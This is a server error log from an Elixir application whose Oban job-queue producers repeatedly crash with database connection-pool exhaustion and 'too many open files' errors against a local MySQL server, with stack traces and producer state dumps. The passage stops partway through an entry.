[Sun Sep  6 00:33:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:33:24.239531Z], limit: 3, uuid: "558f9708-4592-4687-b32e-d5369ba6ab14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.239537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64316>, refresh_timer: #Reference<0.2525715032.1068498948.64309>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:33:24.239421Z], limit: 20, uuid: "f33b29a5-dbe9-46df-820c-0ce288686be9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.239427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200800>, refresh_timer: #Reference<0.2525715032.1099431938.63438>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:33:24.240124Z], limit: 5, uuid: "72f9b2c1-4747-41b3-969a-c65ffe874e03", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.240129Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64315>, refresh_timer: #Reference<0.2525715032.1068498948.64314>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:33:24.239180Z], limit: 5, uuid: "51370269-b41a-462b-8a1a-4677b0e8fbbd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.239187Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200802>, refresh_timer: #Reference<0.2525715032.1099431938.63431>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:33:24.239191Z], limit: 50, uuid: "67a76884-4fdd-4f4e-97cd-9b86a327e25f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.239197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200799>, refresh_timer: #Reference<0.2525715032.1121189889.200773>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:33:24.239551Z], limit: 10, uuid: "af9a4281-a4f2-414b-a885-f0c2bf9da370", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:24.239556Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200801>, refresh_timer: #Reference<0.2525715032.1099431938.63445>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:37.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:37.757000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:44.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:45.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:46.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:33:36.240196Z], limit: 50, uuid: "9ae07293-350f-41fa-895a-113048d4e91d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.240203Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.201246>, refresh_timer: #Reference<0.2525715032.1121189889.201235>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:33:36.240213Z], limit: 5, uuid: "e1b182cc-7bc2-4353-b456-c8d8ac0511c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.240219Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64392>, refresh_timer: #Reference<0.2525715032.1099431938.63467>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:33:36.240908Z], limit: 10, uuid: "25203a1f-8be2-4d9a-bfae-4a6fe0d48a6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.240913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: 